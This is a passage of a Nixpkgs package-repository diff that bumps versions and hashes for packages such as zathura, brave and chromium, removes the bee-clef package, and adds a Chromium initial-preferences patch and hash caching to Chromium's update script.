"sha256-mLX51nbWFccsAfcqLQIYDjYz69y9wAz4U1RZ8TIYSj0="; + }; postPatch = '' rm -f pubspec.lock substituteInPlace linux/CMakeLists.txt \ - --replace "../build/linux/helper" "${passthru.helper}/libexec/helper" + --replace-fail "../build/linux/helper" "${passthru.helper}/libexec/helper" ''; preInstall = '' diff --git a/pkgs/applications/misc/yubioath-flutter/pubspec.lock.json b/pkgs/applications/misc/yubioath-flutter/pubspec.lock.json index a1973fa9a752d..c83c6ffb1caf3 100644 --- a/pkgs/applications/misc/yubioath-flutter/pubspec.lock.json +++ b/pkgs/applications/misc/yubioath-flutter/pubspec.lock.json @@ -134,11 +134,11 @@ "dependency": "transitive", "description": { "name": "build_runner_core", - "sha256": "c9e32d21dd6626b5c163d48b037ce906bbe428bc23ab77bcd77bb21e593b6185", + "sha256": "4ae8ffe5ac758da294ecf1802f2aff01558d8b1b00616aa7538ea9a8a5d50799", "url": "https://pub.dev" }, "source": "hosted", - "version": "7.2.11" + "version": "7.3.0" }, "built_collection": { "dependency": "transitive", @@ -154,11 +154,11 @@ "dependency": "transitive", "description": { "name": "built_value", - "sha256": "c9aabae0718ec394e5bc3c7272e6bb0dc0b32201a08fe185ec1d8401d3e39309", + "sha256": "a3ec2e0f967bc47f69f95009bb93db936288d61d5343b9436e378b28a2f830c6", "url": "https://pub.dev" }, "source": "hosted", - "version": "8.8.1" + "version": "8.9.0" }, "characters": { "dependency": "transitive", @@ -264,31 +264,31 @@ "dependency": "direct dev", "description": { "name": "custom_lint", - "sha256": "dfb893ff17c83cf08676c6b64df11d3e53d80590978d7c1fb242afff3ba6dedb", + "sha256": "f89ff83efdba7c8996e86bb3bad0b759d58f9b19ae4d0e277a386ddd8b481217", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.5.8" + "version": "0.6.0" }, "custom_lint_builder": { "dependency": "direct dev", "description": { "name": "custom_lint_builder", - "sha256": "8df6634b38a36a6c6cb74a9c0eb02e9ba0b0ab89b29e38e6daa86e8ed2c6288d", + "sha256": "9cdd9987feaa6925ec5f98d64de4fbbb5d94248ff77bbf2489366efad6c4baef", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.5.8" + "version": "0.6.0" }, "custom_lint_core": { "dependency": "transitive", "description": { "name": "custom_lint_core", - "sha256": "2b235be098d157e244f18ea905a15a18c16a205e30553888fac6544bbf52f03f", + "sha256": "9003a91409c9f1db6e2e50b4870d1d5e802e5923b25f7261bf3cb3e11ea9d4fb", "url": "https://pub.dev" }, "source": "hosted", - "version": "0.5.8" + "version": "0.6.0" }, "dart_style": { "dependency": "transitive", @@ -402,11 +402,11 @@ "dependency": "direct main", "description": { "name": "flutter_riverpod", - "sha256": "da9591d1f8d5881628ccd5c25c40e74fc3eef50ba45e40c3905a06e1712412d5", + "sha256": "4bce556b7ecbfea26109638d5237684538d4abc509d253e6c5c4c5733b360098", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.9" + "version": "2.4.10" }, "flutter_test": { "dependency": "direct dev", @@ -424,11 +424,11 @@ "dependency": "direct dev", "description": { "name": "freezed", - "sha256": "6c5031daae12c7072b3a87eff98983076434b4889ef2a44384d0cae3f82372ba", + "sha256": "57247f692f35f068cae297549a46a9a097100685c6780fe67177503eea5ed4e5", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.6" + "version": "2.4.7" }, "freezed_annotation": { "dependency": "direct main", @@ -645,11 +645,11 @@ "dependency": "transitive", "description": { "name": "mime", - "sha256": "e4ff8e8564c03f255408decd16e7899da1733852a9110a58fe6d1b817684a63e", + "sha256": "2e123074287cc9fd6c09de8336dae606d1ddb88d9ac47358826db698c176a1f2", "url": "https://pub.dev" }, "source": "hosted", - "version": "1.0.4" + "version": "1.0.5" }, "package_config": { "dependency": "transitive", @@ -834,11 +834,11 @@ "dependency": "transitive", "description": { "name": "riverpod", - "sha256": "942999ee48b899f8a46a860f1e13cee36f2f77609eb54c5b7a669bb20d550b11", + "sha256": "548e2192eb7aeb826eb89387f814edb76594f3363e2c0bb99dd733d795ba3589", "url": "https://pub.dev" }, "source": "hosted", - "version": "2.4.9" + "version": "2.5.0" }, "rxdart": { "dependency": "transitive", @@ -1119,11 +1119,11 @@ "dependency": "direct main", "description": { "name": "url_launcher", - "sha256": "d25bb0ca00432a5e1ee40e69c36c85863addf7cc45e433769d61bed3fe81fd96", + "sha256": "c512655380d241a337521703af62d2c122bf7b77a46ff7dd750092aa9433499c", "url": "https://pub.dev" }, "source": "hosted", - "version": "6.2.3" + "version": "6.2.4" }, "url_launcher_android": { "dependency": "transitive", @@ -1308,12 +1308,13 @@ "window_manager": { "dependency": "direct main", "description": { - "name": "window_manager", - "sha256": "dcc865277f26a7dad263a47d0e405d77e21f12cb71f30333a52710a408690bd7", - "url": "https://pub.dev" + "path": ".", + "ref": "2272d45bcf46d7e2b452a038906fbc85df3ce83d", + "resolved-ref": "2272d45bcf46d7e2b452a038906fbc85df3ce83d", + "url": "https://github.com/fdennis/window_manager.git" }, - "source": "hosted", - "version": "0.3.7" + "source": "git", + "version": "0.3.8" }, "xdg_directories": { "dependency": "transitive", diff --git a/pkgs/applications/misc/zathura/core/default.nix b/pkgs/applications/misc/zathura/core/default.nix index 321ef367c5fea..9e3f5df6a7938 100644 --- a/pkgs/applications/misc/zathura/core/default.nix +++ b/pkgs/applications/misc/zathura/core/default.nix @@ -1,5 +1,5 @@ { lib, stdenv, fetchurl, meson, ninja, wrapGAppsHook, pkg-config -, appstream-glib, desktop-file-utils, python3 +, appstream-glib, json-glib, desktop-file-utils, python3 , gtk, girara, gettext, libxml2, check , sqlite, glib, texlive, libintl, libseccomp , file, librsvg @@ -8,11 +8,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "zathura"; - version = "0.5.2"; + version = "0.5.4"; src = fetchurl { url = "https://pwmt.org/projects/zathura/download/zathura-${finalAttrs.version}.tar.xz"; - sha256 = "15314m9chmh5jkrd9vk2h2gwcwkcffv2kjcxkd4v3wmckz5sfjy6"; + sha256 = "0ckgamf98sydq543arp865jg1afwzhpzcsbhv6zrch2dm5x7y0x3"; }; outputs = [ "bin" "man" "dev" "out" ]; @@ -24,8 +24,9 @@ stdenv.mkDerivation (finalAttrs: { "-Dmanpages=enabled" "-Dconvert-icon=enabled" "-Dsynctex=enabled" + "-Dtests=disabled" # Make sure tests are enabled for doCheck - (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck) + # (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck) (lib.mesonEnable "seccomp" stdenv.hostPlatform.isLinux) ]; @@ -35,7 +36,7 @@ stdenv.mkDerivation (finalAttrs: { ]; buildInputs = [ - gtk girara libintl sqlite glib file librsvg check + gtk girara libintl sqlite glib file librsvg check json-glib texlive.bin.core ] ++ lib.optional stdenv.isLinux libseccomp ++ lib.optional stdenv.isDarwin gtk-mac-integration; diff --git a/pkgs/applications/misc/zathura/pdf-poppler/default.nix b/pkgs/applications/misc/zathura/pdf-poppler/default.nix index e482241bbd6cc..5246705bbd8b1 100644 --- a/pkgs/applications/misc/zathura/pdf-poppler/default.nix +++ b/pkgs/applications/misc/zathura/pdf-poppler/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "zathura-pdf-poppler"; - version = "0.3.1"; + version = "0.3.2"; src = fetchurl { url = "https://pwmt.org/projects/${pname}/download/${pname}-${version}.tar.xz"; - sha256 = "12qhkshpp1wjfpjmjccsyi6wscqyqvaa19j85prjpyf65i9jg0gf"; + sha256 = "049h8m9swxni7ar6fsbm0hb3fg4ffmjc3m6vyg78ilfi3kayxavi"; }; nativeBuildInputs = [ meson ninja pkg-config zathura_core ]; diff --git a/pkgs/applications/misc/zettlr/generic.nix b/pkgs/applications/misc/zettlr/generic.nix index 671577b61ba75..0b26d57e7c4e9 100644 --- a/pkgs/applications/misc/zettlr/generic.nix +++ b/pkgs/applications/misc/zettlr/generic.nix @@ -38,5 +38,6 @@ appimageTools.wrapType2 rec { platforms = [ "x86_64-linux" ]; license = licenses.gpl3; maintainers = with maintainers; [ tfmoraes ]; + mainProgram = "zettlr"; }; } diff --git a/pkgs/applications/misc/zine/default.nix b/pkgs/applications/misc/zine/default.nix index 863ab7f618ba9..63675fa69abdb 100644 --- a/pkgs/applications/misc/zine/default.nix +++ b/pkgs/applications/misc/zine/default.nix @@ -34,5 +34,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/zineland/zine/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ dit7ya figsoda ]; + mainProgram = "zine"; }; } diff --git a/pkgs/applications/misc/zktree/default.nix b/pkgs/applications/misc/zktree/default.nix index 86e12712340a7..c9d4786f05f57 100644 --- a/pkgs/applications/misc/zktree/default.nix +++ b/pkgs/applications/misc/zktree/default.nix @@ -21,5 +21,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/alirezameskin/zktree"; license = licenses.unlicense; maintainers = with lib.maintainers; [ alirezameskin ]; + mainProgram = "zktree"; }; } diff --git a/pkgs/applications/networking/asn/default.nix b/pkgs/applications/networking/asn/default.nix index 694976f543c35..6a8ec939cb33f 100644 --- a/pkgs/applications/networking/asn/default.nix +++ b/pkgs/applications/networking/asn/default.nix @@ -15,13 +15,13 @@ stdenv.mkDerivation rec { pname = "asn"; - version = "0.75.2"; + version = "0.76.1"; src = fetchFromGitHub { owner = "nitefood"; repo = "asn"; rev = "refs/tags/v${version}"; - hash = "sha256-G8TDl9R5nbUzmjcr1m+eNNybSDqb64c7ZOO/viL5/Q4="; + hash = "sha256-9UDd0tgRKEFC1V1+1s9Ghev0I48L8UR9/YbZKX3F1MU="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/avalanchego/default.nix b/pkgs/applications/networking/avalanchego/default.nix index 4609413417d35..83ca257a98b17 100644 --- a/pkgs/applications/networking/avalanchego/default.nix +++ b/pkgs/applications/networking/avalanchego/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "avalanchego"; - version = "1.10.19"; + version = "1.11.2"; src = fetchFromGitHub { owner = "ava-labs"; repo = pname; rev = "v${version}"; - hash = "sha256-Pvl4t0nUHAwTdkR2fEFuFpLn2Hz5kw3IBFYDWSmGyXA="; + hash = "sha256-E75lqQkaCub/WpxvVHB5YP1E1ygjUURJ1VWrjvcV96o="; }; - vendorHash = "sha256-WYewelAUkXLD6cwnJQ/jAYP99qq4HjEnJ4HwNUksHZU="; + vendorHash = "sha256-Xrr4QE0FN6sII4xOjPbhwBlNgEwOlogKRNStjrjH7H0="; # go mod vendor has a bug, see: https://github.com/golang/go/issues/57529 proxyVendor = true; diff --git a/pkgs/applications/networking/bee/0001-clef-service-accept-default-CONFIGDIR-from-the-envir.patch b/pkgs/applications/networking/bee/0001-clef-service-accept-default-CONFIGDIR-from-the-envir.patch deleted file mode 100644 index fb551646b7c62..0000000000000 --- a/pkgs/applications/networking/bee/0001-clef-service-accept-default-CONFIGDIR-from-the-envir.patch +++ /dev/null @@ -1,44 +0,0 @@ -From 04933c578f51aa1f536991318dc5aede57f81c0d Mon Sep 17 00:00:00 2001 -From: Attila Lendvai <attila@lendvai.name> -Date: Sat, 30 Jan 2021 14:02:02 +0100 -Subject: [PATCH 1/2] clef-service: accept default CONFIGDIR from the - environment - ---- - packaging/bee-clef-service | 15 ++++++++++----- - 1 file changed, 10 insertions(+), 5 deletions(-) - -diff --git a/packaging/bee-clef-service b/packaging/bee-clef-service -index 10bcd92..34c7edd 100755 ---- a/packaging/bee-clef-service -+++ b/packaging/bee-clef-service -@@ -1,16 +1,21 @@ - #!/usr/bin/env sh - - start() { -- KEYSTORE=/var/lib/bee-clef/keystore -- CONFIGDIR=/var/lib/bee-clef -+ if [ -z "$CONFIGDIR" ]; then -+ CONFIGDIR=/var/lib/bee-clef -+ fi -+ if [ -z "$PASSWORD_FILE" ]; then -+ PASSWORD_FILE=${CONFIGDIR}/password -+ fi -+ KEYSTORE=${CONFIGDIR}/keystore -+ SECRET=$(cat ${PASSWORD_FILE}) - CHAINID=5 -- SECRET=$(cat /var/lib/bee-clef/password) - # clef with every start sets permissions back to 600 -- (sleep 4; chmod 660 /var/lib/bee-clef/clef.ipc) & -+ (sleep 4; chmod 660 ${CONFIGDIR}/clef.ipc) & - ( sleep 2; cat << EOF - { "jsonrpc": "2.0", "id":1, "result": { "text":"$SECRET" } } - EOF --) | clef --stdio-ui --keystore $KEYSTORE --configdir $CONFIGDIR --chainid $CHAINID --rules /etc/bee-clef/rules.js --nousb --4bytedb-custom /etc/bee-clef/4byte.json --pcscdpath "" --auditlog "" --loglevel 3 --ipcpath /var/lib/bee-clef -+) | clef --stdio-ui --keystore $KEYSTORE --configdir $CONFIGDIR --chainid $CHAINID --rules /etc/bee-clef/rules.js --nousb --4bytedb-custom /etc/bee-clef/4byte.json --pcscdpath "" --auditlog "" --loglevel 3 --ipcpath ${CONFIGDIR} - } - - stop() { --- -2.29.2 - diff --git a/pkgs/applications/networking/bee/0002-nix-diff-for-substituteAll.patch b/pkgs/applications/networking/bee/0002-nix-diff-for-substituteAll.patch deleted file mode 100644 index 611aed0b890ac..0000000000000 --- a/pkgs/applications/networking/bee/0002-nix-diff-for-substituteAll.patch +++ /dev/null @@ -1,25 +0,0 @@ -From 1a1ab986245e8b74648a1a0adb5d1c7019561d18 Mon Sep 17 00:00:00 2001 -From: Attila Lendvai <attila@lendvai.name> -Date: Sat, 30 Jan 2021 15:24:57 +0100 -Subject: [PATCH 2/2] nix diff for substituteAll - ---- - packaging/bee-clef-service | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/packaging/bee-clef-service b/packaging/bee-clef-service -index 34c7edd..31e9d95 100755 ---- a/packaging/bee-clef-service -+++ b/packaging/bee-clef-service -@@ -15,7 +15,7 @@ start() { - ( sleep 2; cat << EOF - { "jsonrpc": "2.0", "id":1, "result": { "text":"$SECRET" } } - EOF --) | clef --stdio-ui --keystore $KEYSTORE --configdir $CONFIGDIR --chainid $CHAINID --rules /etc/bee-clef/rules.js --nousb --4bytedb-custom /etc/bee-clef/4byte.json --pcscdpath "" --auditlog "" --loglevel 3 --ipcpath ${CONFIGDIR} -+) | @clefBinary@ --stdio-ui --keystore $KEYSTORE --configdir $CONFIGDIR --chainid $CHAINID --rules @out@/share/bee-clef/rules.js --nousb --4bytedb-custom @out@/share/bee-clef/4byte.json --pcscdpath "" --auditlog "" --loglevel 3 --ipcpath ${CONFIGDIR} - } - - stop() { --- -2.29.2 - diff --git a/pkgs/applications/networking/bee/bee-clef.nix b/pkgs/applications/networking/bee/bee-clef.nix deleted file mode 100644 index 9e36f8670d46b..0000000000000 --- a/pkgs/applications/networking/bee/bee-clef.nix +++ /dev/null @@ -1,57 +0,0 @@ -{ version ? "release", stdenv, lib, fetchFromGitHub, go-ethereum }: - -stdenv.mkDerivation rec { - pname = "bee-clef"; - version = "0.4.7"; - - src = fetchFromGitHub { - owner = "ethersphere"; - repo = "bee-clef"; - rev = "refs/tags/v${version}"; - sha256 = "1sfwql0kvnir8b9ggpqcyc0ar995gxgfbhqb1xpfzp6wl0g3g4zz"; - }; - - buildInputs = [ go-ethereum ]; - - clefBinary = "${go-ethereum}/bin/clef"; - - patches = [ - ./0001-clef-service-accept-default-CONFIGDIR-from-the-envir.patch - ./0002-nix-diff-for-substituteAll.patch - ]; - - dontBuild = true; - - installPhase = '' - mkdir -p $out/bin/ - mkdir -p $out/share/bee-clef/ - mkdir -p $out/lib/systemd/system/ - cp packaging/bee-clef.service $out/lib/systemd/system/ - substituteAll packaging/bee-clef-service $out/share/bee-clef/bee-clef-service - substituteAll ${./ensure-clef-account} $out/share/bee-clef/ensure-clef-account - substituteAll packaging/bee-clef-keys $out/bin/bee-clef-keys - cp packaging/rules.js packaging/4byte.json $out/share/bee-clef/ - chmod +x $out/bin/bee-clef-keys - chmod +x $out/share/bee-clef/bee-clef-service - chmod +x $out/share/bee-clef/ensure-clef-account - patchShebangs $out/ - ''; - - meta = with lib; { - # homepage = "https://gateway.ethswarm.org/bzz/docs.swarm.eth/docs/installation/bee-clef/"; - homepage = "https://docs.ethswarm.org/docs/installation/bee-clef"; - description = "External signer for Ethereum Swarm Bee"; - longDescription = '' - clef is go-ethereum's external signer. - - bee-clef is a package that starts up a vanilla clef instance as a systemd service, - but configured in such a way that is suitable for bee (relaxed security for - automated operation). - - This package contains the files necessary to run the bee-clef service. - ''; - license = with licenses; [ bsd3 ]; - maintainers = with maintainers; [ attila-lendvai ]; - platforms = go-ethereum.meta.platforms; - }; -} diff --git a/pkgs/applications/networking/bee/bee.nix b/pkgs/applications/networking/bee/bee.nix index f2fe81e8379f8..cca2e549c8b1c 100644 --- a/pkgs/applications/networking/bee/bee.nix +++ b/pkgs/applications/networking/bee/bee.nix @@ -1,55 +1,34 @@ -{ version ? "release", lib, fetchFromGitHub, buildGoModule }: +{ lib +, fetchFromGitHub +, buildGoModule +}: -let - - versionSpec = rec { - unstable = rec { - pname = "bee-unstable"; - version = "2021-01-30"; - rev = "824636a2c2629c329ab10275cef6a0b7395343ad"; - goVersionString = "g" + builtins.substring 0 7 rev; # this seems to be some kind of standard of git describe... - sha256 = "0ly1yqjq29arbak8lchdradf39l5bmxpbfir6ljjc7nyqdxz0sxg"; - vendorHash = "sha256-w5ZijaK8Adt1ZHPMmXqRWq0v0jdprRKRu03rePtZLXA="; - }; - release = rec { - pname = "bee"; - version = "0.5.0"; - rev = "refs/tags/v${version}"; - sha256 = "sha256-3Oy9RhgMPRFjUs3Dj8XUhAqoxx5BTi32OiK4Y8YEG2Q="; - vendorHash = "sha256-w5ZijaK8Adt1ZHPMmXqRWq0v0jdprRKRu03rePtZLXA="; - }; - "0.5.0" = release; - "0.4.1" = rec { - pname = "bee"; - version = "0.4.1"; - rev = "refs/tags/v${version}"; - sha256 = "1bmgbav52pcb5p7cgq9756512fzfqhjybyr0dv538plkqx47mpv7"; - vendorHash = "sha256-UGxiCXWlIfnhRZZBMYcWXFj77pqvJkb5wOllSdQeaUg="; - }; - }.${version}; - -in - -buildGoModule { - inherit (versionSpec) pname version vendorHash; +buildGoModule rec { + pname = "bee"; + version = "1.18.2"; src = fetchFromGitHub { owner = "ethersphere"; repo = "bee"; - inherit (versionSpec) rev sha256; + rev = "v${version}"; + sha256 = "sha256-LUOKF1073GmQWG2q4w0cTErSHw7ok5N6PQZ45xpjYx4="; }; + vendorHash = "sha256-UdsF/otjXqS1NY3PkCimRiD93hGntHG3Xhw6avFtHog="; + subPackages = [ "cmd/bee" ]; - # no symbol table, no debug info, and pass the commit for the version string - ldflags = lib.optionals ( lib.hasAttr "goVersionString" versionSpec) - [ "-s" "-w" "-X=github.com/ethersphere/bee.commit=${versionSpec.goVersionString}" ]; + ldflags = [ + "-s" + "-w" + "-X github.com/ethersphere/bee.version=${version}" + "-X github.com/ethersphere/bee/pkg/api.Version=5.2.0" + "-X github.com/ethersphere/bee/pkg/api.DebugVersion=4.1.0" + "-X github.com/ethersphere/bee/pkg/p2p/libp2p.reachabilityOverridePublic=false" + "-X github.com/ethersphere/bee/pkg/postage/listener.batchFactorOverridePublic=5" + ]; - # Mimic the bee Makefile: without disabling CGO, two (transitive and - # unused) dependencies would fail to compile. - preBuild = '' - export CGO_ENABLED=0 - ''; + CGO_ENABLED = 0; postInstall = '' mkdir -p $out/lib/systemd/system @@ -65,11 +44,13 @@ buildGoModule { longDescription = '' A decentralised storage and communication system for a sovereign digital society. - Swarm is a system of peer-to-peer networked nodes that create a decentralised storage and communication service. The system is economically self-sustaining due to a built-in incentive system enforced through smart contracts on the Ethereum blockchain. + Swarm is a system of peer-to-peer networked nodes that create a decentralised storage + and communication service. The system is economically self-sustaining due to a built-in + incentive system enforced through smart contracts on the Ethereum blockchain. Bee is a Swarm node implementation, written in Go. ''; license = with licenses; [ bsd3 ]; - maintainers = with maintainers; [ attila-lendvai ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/applications/networking/bee/ensure-clef-account b/pkgs/applications/networking/bee/ensure-clef-account deleted file mode 100644 index def67ff9cc337..0000000000000 --- a/pkgs/applications/networking/bee/ensure-clef-account +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env sh - -set -e - -# NOTE This file is called by the systemd service in its preStart -# hook, but it's not Nix specific in any way. Ideally, the same file -# should be called from the postinst scripts of the other packages, -# but... the world is not ideal. - -# What follows was extracted from, and should be in sync with -# https://github.com/ethersphere/bee-clef/tree/master/packaging - -DATA_DIR="$1" -CONFIG_DIR="$2" -PASSWORD_FILE=${DATA_DIR}/password -MASTERSEED=${DATA_DIR}/masterseed.json -KEYSTORE=${DATA_DIR}/keystore - -echo "ensure-clef-account $DATA_DIR $CONFIG_DIR" - -if ! test -f ${PASSWORD_FILE}; then - < /dev/urandom tr -dc _A-Z-a-z-0-9 2> /dev/null | head -c32 > ${PASSWORD_FILE} - chmod 0400 ${PASSWORD_FILE} - echo "Initialized ${PASSWORD_FILE} from /dev/urandom" -fi - -if ! test -f ${MASTERSEED}; then - parse_json() { echo $1|sed -e 's/[{}]/''/g'|sed -e 's/", "/'\",\"'/g'|sed -e 's/" ,"/'\",\"'/g'|sed -e 's/" , "/'\",\"'/g'|sed -e 's/","/'\"---SEPERATOR---\"'/g'|awk -F=':' -v RS='---SEPERATOR---' "\$1~/\"$2\"/ {print}"|sed -e "s/\"$2\"://"|tr -d "\n\t"|sed -e 's/\\"/"/g'|sed -e 's/\\\\/\\/g'|sed -e 's/^[ \t]*//g'|sed -e 's/^"//' -e 's/"$//' ; } - SECRET=$(cat ${PASSWORD_FILE}) - CLEF="@clefBinary@ --configdir ${DATA_DIR} --keystore ${KEYSTORE} --stdio-ui" - $CLEF init >/dev/null << EOF -$SECRET -$SECRET -EOF - $CLEF newaccount >/dev/null << EOF -$SECRET -EOF - $CLEF setpw 0x$(parse_json $(cat ${KEYSTORE}/*) address) >/dev/null << EOF -$SECRET -$SECRET -$SECRET -EOF - $CLEF attest $(sha256sum ${CONFIG_DIR}/rules.js | cut -d' ' -f1 | tr -d '\n') >/dev/null << EOF -$SECRET -EOF - echo "Clef data dir initialized" -fi diff --git a/pkgs/applications/networking/browsers/brave/default.nix b/pkgs/applications/networking/browsers/brave/default.nix index 2d69289d63cc6..b9fd4c14ad50b 100644 --- a/pkgs/applications/networking/browsers/brave/default.nix +++ b/pkgs/applications/networking/browsers/brave/default.nix @@ -87,17 +87,18 @@ let enableFeatures = optionals enableVideoAcceleration [ "VaapiVideoDecoder" "VaapiVideoEncoder" ] ++ optional enableVulkan "Vulkan"; + disableFeatures = [ "OutdatedBuildDetector" ] # disable automatic updates # The feature disable is needed for VAAPI to work correctly: https://github.com/brave/brave-browser/issues/20935 - disableFeatures = optional enableVideoAcceleration "UseChromeOSDirectVideoDecoder"; + ++ optionals enableVideoAcceleration [ "UseChromeOSDirectVideoDecoder" ]; in stdenv.mkDerivation rec { pname = "brave"; - version = "1.62.162"; + version = "1.63.165"; src = fetchurl { url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb"; - hash = "sha256-hQG6LHYPhqzfgR0Z7R+hXB1vEVDd6VEyIttSae15Mpo="; + hash = "sha256-UyzOV6sUv7WdwN31TIg35HGchrUSXnvzk3Aba/d8dJc="; }; dontConfigure = true; diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix index 45fc2054c1037..4bd6e358fdf6c 100644 --- a/pkgs/applications/networking/browsers/chromium/common.nix +++ b/pkgs/applications/networking/browsers/chromium/common.nix @@ -25,7 +25,7 @@ , bzip2, flac, speex, libopus , libevent, expat, libjpeg, snappy , libcap -, xdg-utils, minizip, libwebp +, minizip, libwebp , libusb1, re2 , ffmpeg, libxslt, libxml2 , nasm @@ -184,9 +184,6 @@ let bzip2 flac speex opusWithCustomModes libevent expat libjpeg snappy libcap - ] ++ lib.optionals (!xdg-utils.meta.broken) [ - xdg-utils - ] ++ [ minizip libwebp libusb1 re2 ffmpeg libxslt libxml2 @@ -219,6 +216,9 @@ let # (we currently package 1.26 in Nixpkgs while Chromium bundles 1.21): # Source: https://bugs.chromium.org/p/angleproject/issues/detail?id=7582#c1 ./patches/angle-wayland-include-protocol.patch + # Chromium reads initial_preferences from its own executable directory + # This patch modifies it to read /etc/chromium/initial_preferences + ./patches/chromium-initial-prefs.patch ] ++ lib.optionals (chromiumVersionAtLeast "120") [ # We need to revert this patch to build M120+ with LLVM 17: ./patches/chromium-120-llvm-17.patch @@ -295,10 +295,6 @@ let '/usr/share/locale/' \ '${glibc}/share/locale/' - '' + lib.optionalString (!xdg-utils.meta.broken) '' - sed -i -e 's@"\(#!\)\?.*xdg-@"\1${xdg-utils}/bin/xdg-@' \ - chrome/browser/shell_integration_linux.cc - '' + lib.optionalString systemdSupport '' sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \ device/udev_linux/udev?_loader.cc diff --git a/pkgs/applications/networking/browsers/chromium/patches/chromium-initial-prefs.patch b/pkgs/applications/networking/browsers/chromium/patches/chromium-initial-prefs.patch new file mode 100644 index 0000000000000..cf359431b43c2 --- /dev/null +++ b/pkgs/applications/networking/browsers/chromium/patches/chromium-initial-prefs.patch @@ -0,0 +1,19 @@ +diff --git a/chrome/browser/first_run/first_run_internal_linux.cc b/chrome/browser/first_run/first_run_internal_linux.cc +index 33fd579012..9a17b54b37 100644 +--- a/chrome/browser/first_run/first_run_internal_linux.cc ++++ b/chrome/browser/first_run/first_run_internal_linux.cc +@@ -19,13 +19,7 @@ bool IsOrganicFirstRun() { + } + + base::FilePath InitialPrefsPath() { +- // The standard location of the initial prefs is next to the chrome binary. +- base::FilePath dir_exe; +- if (!base::PathService::Get(base::DIR_EXE, &dir_exe)) { +- return base::FilePath(); +- } +- +- return installer::InitialPreferences::Path(dir_exe); ++ return base::FilePath("/etc/chromium/initial_preferences"); + } + + } // namespace internal diff --git a/pkgs/applications/networking/browsers/chromium/update.py b/pkgs/applications/networking/browsers/chromium/update.py index c231febabd60f..c1d893e0cff91 100755 --- a/pkgs/applications/networking/browsers/chromium/update.py +++ b/pkgs/applications/networking/browsers/chromium/update.py @@ -201,6 +201,8 @@ def print_updates(channels_old, channels_new): channels = {} last_channels = load_as_json(PIN_PATH) +src_hash_cache = {} + print(f'GET {RELEASES_URL}', file=sys.stderr) with urlopen(RELEASES_URL) as resp: @@ -240,13 +242,27 @@ with urlopen(RELEASES_URL) as resp: google_chrome_suffix = channel_name try: - channel['hash'] = prefetch_src_sri_hash( - channel_name_to_attr_name(channel_name), - release["version"] - ) + version = release["version"] + existing_releases = dict(map(lambda channel: (channel[1]['version'], channel[1]['hash']), last_channels.items())) + + if version in src_hash_cache: + print(f'Already got hash {src_hash_cache[version]} for {version}, skipping FOD prefetch for {channel_name_to_attr_name(channel_name)}') + + channel["hash"] = src_hash_cache[version] + elif version in existing_releases: + print(f'Already got hash {existing_releases[version]} for {version} (from upstream-info.nix), skipping FOD prefetch for {channel_name_to_attr_name(channel_name)}') + + channel["hash"] = existing_releases[version] + else: + channel["hash"] = prefetch_src_sri_hash( + channel_name_to_attr_name(channel_name), + version + ) + src_hash_cache[version] = channel["hash"] + channel['hash_deb_amd64'] = nix_prefetch_url( f'{DEB_URL}/google-chrome-{google_chrome_suffix}/' + - f'google-chrome-{google_chrome_suffix}_{release["version"]}-1_amd64.deb') + f'google-chrome-{google_chrome_suffix}_{version}-1_amd64.deb') except subprocess.CalledProcessError: # This release isn't actually available yet. Continue to # the next one. diff --git a/pkgs/applications/networking/browsers/chromium/upstream-info.nix b/pkgs/applications/networking/browsers/chromium/upstream-info.nix index 00a9e8af67e3e..6fdcb81a502d3 100644 --- a/pkgs/applications/networking/browsers/chromium/upstream-info.nix +++ b/pkgs/applications/networking/browsers/chromium/upstream-info.nix @@ -1,39 +1,39 @@ { stable = { chromedriver = { - hash_darwin = "sha256-IDPdjq3FpLy6Y9xkR15mzbIal8wjeQzzWtWuZ4uKmzA="; + hash_darwin = "sha256-iv370BYH8HobUxeYbsV4/A6JyZG2feEuVbJCLVZc3Og="; hash_darwin_aarch64 = - "sha256-3Mol45MrvrSqrpkKy2Trt0JFNfV4ekXTxEveUUGmJm4="; - hash_linux = "sha256-O8U4pZ76/N7q9bV7d0A+wlIqqaoz6WyfZQO4cIV2CIM="; - version = "121.0.6167.85"; + "sha256-Gc0OXG7dx5Mvy0aAsnqVIJtPFK8OYmFr8Ofy+UXacM4="; + hash_linux = "sha256-ZcN/v7co08aRWM88s93nBU/FLEfE7JGf/hEH0tk3qy8="; + version = "122.0.6261.94"; }; deps = { gn = { - hash = "sha256-eD3KORYYuIH+94+BgL+yFD5lTQFvj/MqPU9DPiHc98s="; - rev = "7367b0df0a0aa25440303998d54045bda73935a5"; + hash = "sha256-UhdDsq9JyP0efGpAaJ/nLp723BbjM6pkFPcAnQbgMKY="; + rev = "f99e015ac35f689cfdbf46e4eb174e5d2da78d8e"; url = "https://gn.googlesource.com/gn"; - version = "2023-11-28"; + version = "2024-01-22"; }; }; - hash = "sha256-mncN1Np/70r0oMnJ4oV7PU6Ivi5AiRar5O2G8bNdwY8="; - hash_deb_amd64 = "sha256-t/5Mx3P3LaH/6GjwMFP+lVoz7xq7jqAKYxLqlWBnwIE="; - version = "121.0.6167.160"; + hash = "sha256-43h11bx/k78W7fEPZz4LwxNVExwGSSt74mlbiUYf5ig="; + hash_deb_amd64 = "sha256-juwTFdJB1hgAA14aabNIrql5aaP1JWQy7nOsoTF2Vto="; + version = "122.0.6261.111"; }; ungoogled-chromium = { deps = { gn = { - hash = 